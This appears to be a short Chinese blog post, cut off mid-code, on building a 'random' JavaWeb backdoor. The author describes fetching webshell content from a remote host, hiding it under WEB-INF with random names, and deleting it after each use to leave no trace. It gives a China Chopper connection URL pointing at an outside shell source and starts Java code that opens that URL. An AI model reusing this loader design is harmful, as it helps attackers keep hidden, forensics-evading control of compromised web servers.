java网站后门审查_JavaWeb随机后门?

我的思路是先从远程读取要生成的shell内容，然后把shell藏在WEB-INF下shell的名字和长度也都随机生成。比如：

不过就算藏在WEB-INF下也会被发现，干脆用一次就删一次？这样不会在任何目录下留下Shell。

菜刀链接：http://localhost/Demo2/new.jsp?url=http://xsser.me/caidao/css.jsp

String getConnection(String url) {

String result="",line="";

try {

URL realUrl = new URL(url);

URLConnection connection = realUrl.openConnection();

connection.setConnectTimeout(15000);